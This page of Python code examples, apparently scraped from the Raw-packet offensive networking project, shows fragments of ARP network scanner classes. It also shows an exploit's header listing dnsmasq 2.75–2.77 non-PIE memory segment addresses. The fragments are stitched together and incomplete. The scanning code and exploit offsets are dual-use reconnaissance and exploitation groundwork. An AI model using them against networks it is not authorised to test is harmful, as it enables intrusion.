             show_scan_percentage: bool = True) -> List[Dict[str, str]]:
        """
        ARP scan on network interface
        :param timeout: Timeout in seconds (default: 5)
        :param retry: Retry number (default: 5)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
        :param exit_on_failure: Exit if alive hosts in network not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a',
                                                        'ip-address': '192.168.0.1',
                                                        'vendor': 'Raspberry Pi Foundation'}])
        """
        try:
            # region Clear lists with scan results
            self._results.clear()
            self._unique_results.clear()
            self._sorted_results.clear()
            self._mac_addresses.clear()
            # endregion

            # region Set variables
            self._quit = not show_scan_percentage
            self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
            self._timeout = int(timeout)
            self._retry_number = int(retry)
            # endregion

            # region Run _sniffer
            self._thread_manager.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self._timeout)
            # endregion

            # region Unique results
            for index in range(len(self._results)):
                if self._results[index]['mac-address'] not in self._mac_addresses:
                    self._unique_results.append(self._results[index])
                    self._mac_addresses.append(self._results[index]['mac-address'])
            # endregion

            # region Exclude IP addresses
            if exclude_ip_addresses is not None:
                self._results = self._unique_results
                self._unique_results = list()
                for index in range(len(self._results)):
                    if self._results[index]['ip-address'] not in exclude_ip_addresses:
                        self._unique_results.append(self._results[index])
                self._results = list()
            # endregion

            # region Get vendors
            if check_vendor:
                for result_index in range(len(self._unique_results)):
                    self._unique_results[result_index]['vendor'] = \
                        self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
            # endregion

            # region Sort by IP address
            self._sorted_results = sorted(self._unique_results, key=lambda ip: inet_aton(ip['ip-address']))
            # endregion

        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

        if len(self._unique_results) == 0:
            if exit_on_failure:
                self._base.print_error('Could not find allive hosts on interface: ', self._your['network-interface'])
                exit(1)

        return self._sorted_results

    # endregion

    # region Get MAC address by IP address
    def get_mac_address(self, target_ip_address: str = '192.168.0.1',
                        timeout: int = 5, retry: int = 5,
                        exit_on_failure: bool = True,
                        show_scan_percentage: bool = False) -> str:
        """
        Get MAC address of IP address on network interface
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: MAC address of target IP address (example: '01:23:45:67:89:0a')
        """

        # region Set result MAC address value
        result_mac_address: str = 'ff:ff:ff:ff:ff:ff'
        # endregion

        try:
            # region Clear lists with scan results
            self._results.clear()
            self._unique_results.clear()
            self._mac_addresses.clear()
            # endregion

            # region Set variables
            self._quit = not show_scan_percentage
            self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
            self._timeout = int(timeout)
            self._retry_number = int(retry)
            # endregion

            # region Run _sniffer
            self._thread_manager.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self._timeout)
            # endregion

            # region Return
            if 'mac-address' in self._results[0].keys():
                result_mac_address = self._results[0]['mac-address']
            # endregion

        except IndexError:
            pass

        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

        if result_mac_address == 'ff:ff:ff:ff:ff:ff':
            if exit_on_failure:
                self._base.print_error('Could not find MAC address of IP address: ', target_ip_address)
                exit(1)

        return result_mac_address

    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict[str, Dict[str, str]]) -> None:
        """
        Analyze ARP reply
        :param packet: Parsed ARP reply
        :return: None
        """

        try:

            # region Asserts
            assert 'ARP' in packet.keys()
            assert 'sender-mac' in packet['ARP'].keys()
            assert 'sender-ip' in packet['ARP'].keys()
            assert 'target-mac' in packet['ARP'].keys()
            assert 'target-ip' in packet['ARP'].keys()
            assert packet['ARP']['target-mac'] == self._your['mac-address']
            assert packet['ARP']['target-ip'] == self._your['ipv4-address']
            # endregion

            # region Parameter Target IPv4 address is None
            if self._target['ipv4-address'] is None:
                self._results.append({
                    'mac-address': packet['ARP']['sender-mac'],
                    'ip-address': packet['ARP']['sender-ip']
                })
            # endregion

            # region Parameter Target IPv4 address is Set
            else:
                if packet['ARP']['sender-ip'] == self._target['ipv4-address']:
                    self._results.append({
                        'mac-address': packet['ARP']['sender-mac'],
                        'ip-address': packet['ARP']['sender-ip']
                    })
            # endregion

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ARP replies
        :return: None
        """
        self._raw_sniff.start(protocols=['Ethernet', 'ARP'],
                              prn=self._analyze_packet,
                              filters={'Ethernet': {'destination': self._your['mac-address']},
                                       'ARP': {'opcode': 2,
                                               'target-mac': self._your['mac-address'],
                                               'target-ip': self._your['ipv4-address']}},
                              network_interface=self._your['network-interface'],
                              scapy_filter='arp',
                              scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ARP requests
        :return: None
        """
        arp_requests: List[bytes] = list()

        if self._target['ipv4-address'] is not None:
            first_ip_address: str = self._target['ipv4-address']
            last_ip_address: str = self._target['ipv4-address']
        else:
            first_ip_address: str = self._your['first-ipv4-address']
            last_ip_address: str = self._your['last-ipv4-address']

        index: int = 0
        while True:
            current_ip_address: str = str(IPv4Address(first_ip_address) + index)
            index += 1
            if IPv4Address(current_ip_address) > IPv4Address(last_ip_address):
                break

            arp_request: bytes = self._arp.make_request(ethernet_src_mac=self._your['mac-address'],
                                                        ethernet_dst_mac='ff:ff:ff:ff:ff:ff',
                                                        sender_mac=self._your['mac-address'],
                                                        sender_ip=self._your['ipv4-address'],
                                                        target_mac='00:00:00:00:00:00',
                                                        target_ip=current_ip_address)
            arp_requests.append(arp_request)

        number_of_requests: int = len(arp_requests) * int(self._retry_number)
        index_of_request: int = 0
        percent_complete: int = 0

        for _ in range(int(self._retry_number)):
            for arp_request in arp_requests:
                self._raw_send.send_packet(arp_request)
                if not self._quit:
                    index_of_request += 1
                    new_percent_complete = int(float(index_of_request) / float(number_of_requests) * 100)
                    if new_percent_complete > percent_complete:
                        stdout.write('\r')
                        stdout.write(self._base.c_info + 'Interface: ' +
                                     self._base.info_text(self._your['network-interface']) + ' ARP scan percentage: ' +
                                     self._base.info_text(str(new_percent_complete) + '%'))
                        stdout.flush()
                        sleep(0.01)
                        percent_complete = new_percent_complete
        if not self._quit:
            stdout.write('\n')

    # endregion

    # region Check target IPv4 address
    def _check_target_ip_address(self, target_ip_address: Union[None, str]) -> Union[None, str]:
        try:
            if target_ip_address is not None:
                assert self._base.ip_address_in_range(target_ip_address,
                                                      self._your['first-ipv4-address'],
                                                      self._your['last-ipv4-address']), \
                    'Bad Target IPv4 address: ' + \
                    self._base.error_text(target_ip_address) + \
                    '; Target IPv4 address must be in range: ' + \
                    self._base.info_text(self._your['first-ipv4-address'] + ' - ' + self._your['last-ipv4-address']) + \
                    '; example Target IPv4 address: ' + \
                    self._base.info_text(self._base.get_random_ip_on_interface(self._your['network-interface']))
                return target_ip_address
            else:
                return None
        except AssertionError as Error:
            self._base.print_error(Error.args[0])
            exit(1)
Ejemplo n.º 29
0
# endregion

# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['hackituria']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Development'
# endregion

tm = ThreadManager(3)

# Architecture i386 segments address

# dnsmasq/2.77 segments address without PIE
# 0x08049fa0 - 0x0807e4e2 is .text
# 0x08097240 - 0x08098072 is .data

# dnsmasq/2.76 segments address without PIE
# 0x08049f10 - 0x0807d372 is .text
# 0x08096240 - 0x08097052 is .data

# dnsmasq/2.75 segments address without PIE
# 0x08049ee0 - 0x0807b7d2 is .text
# 0x08093240 - 0x08093f5c is .data
Ejemplo n.º 30
0
    def scan(self, network_interface, timeout=3, retry=3, target_ip_address=None, check_vendor=True,
             exclude_ip_address=None):

        # region Set variables
        self.target_ip_address = target_ip_address
        self.network_interface = network_interface
        self.timeout = int(timeout)
        self.retry_number = int(retry)
        # endregion

        # region Run sniffer
        tm = ThreadManager(2)
        tm.add_task(self.sniff)
        # endregion

        # region Run sender
        self.send()
        # endregion

        # region Create vendor list
        if check_vendor:
            self.vendor_list = self.base.get_mac_prefixes()
        # endregion

        # region Wait
        sleep(self.timeout)
        # endregion

        # region Unique results
        for index in range(len(self.results)):
            if self.results[index]['mac-address'] not in self.mac_addresses:
                self.unique_results.append(self.results[index])
                self.mac_addresses.append(self.results[index]['mac-address'])
        # endregion

        # region Reset results and mac addresses list
        self.results = []
        self.mac_addresses = []
        # endregion

        # region Exclude IP address
        if exclude_ip_address is not None:
            self.results = self.unique_results
            self.unique_results = []
            for index in range(len(self.results)):
                if self.results[index]['ip-address'] != exclude_ip_address:
                    self.unique_results.append(self.results[index])
            self.results = []
        # endregion

        # region Get vendors
        for result_index in range(len(self.unique_results)):

            # Get current MAC address prefix
            current_mac_prefix = self.eth.get_mac_prefix(self.unique_results[result_index]['mac-address'])

            # Search this prefix in vendor list
            for vendor_index in range(len(self.vendor_list)):
                if current_mac_prefix == self.vendor_list[vendor_index]['prefix']:
                    self.unique_results[result_index]['vendor'] = self.vendor_list[vendor_index]['vendor']
                    break

            # Could not find this prefix in vendor list
            if 'vendor' not in self.unique_results[result_index].keys():
                self.unique_results[result_index]['vendor'] = "Unknown vendor"

        # endregion

        # region Return results
        return self.unique_results